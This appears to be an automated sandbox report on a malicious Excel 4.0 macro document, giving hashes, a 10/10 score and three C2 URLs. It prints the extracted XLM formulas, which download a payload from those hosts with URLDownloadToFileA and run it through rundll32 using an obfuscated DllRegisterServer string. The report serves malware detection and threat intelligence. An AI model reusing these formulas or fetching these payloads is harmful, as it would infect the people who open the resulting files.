79f3b373fa9006ca74b6f4bd4eb82a98eed7e7377038b7a4dd821a937d01f38e

General

Target

?i=1lmlfsgug
Size

83KB
Sample

220522-f6tlpabcbk
MD5

7d3cda77a05f3883eedfacd2eabfdac9
SHA1

05358e587fd9cc5e1ed4903f4fdca621eadde86c
SHA256

79f3b373fa9006ca74b6f4bd4eb82a98eed7e7377038b7a4dd821a937d01f38e
SHA512

b3a05537600370e7aa96bd29a10570fdadbfad2d178d6551bdc74d6164419757244134f41fe4b2ea78639fc40ea3b5018be403c9df52e71461d92bcf182a2149

Score

10^/10

macro xlm

Rule

Excel 4.0 XLM Macro

C2

http://unifiedpharma.com/wp-admin/ildi5K2aTIrdvEobQ/

https://kauffmancreates.com/images/G8050LVq/

https://sanagrafix.com/udll/fki4w1vFApT4Rwjp1R/

Attributes

formulas
=FORMULA() =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://unifiedpharma.com/wp-admin/ildi5K2aTIrdvEobQ/","..\adi.ocx",0,0) =IF('GTTTT'!G18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://kauffmancreates.com/images/G8050LVq/","..\adi.ocx",0,0)) =IF('GTTTT'!G20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://sanagrafix.com/udll/fki4w1vFApT4Rwjp1R/","..\adi.ocx",0,0)) =IF('GTTTT'!G22<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\rundll32.exe ..\adi.ocx,D""&""l""&""lR""&""egister""&""Serve""&""r") =RETURN()

Language

xlm4.0

Source

URLs

xlm40.dropper

http://unifiedpharma.com/wp-admin/ildi5K2aTIrdvEobQ/

xlm40.dropper

https://kauffmancreates.com/images/G8050LVq/

xlm40.dropper

https://sanagrafix.com/udll/fki4w1vFApT4Rwjp1R/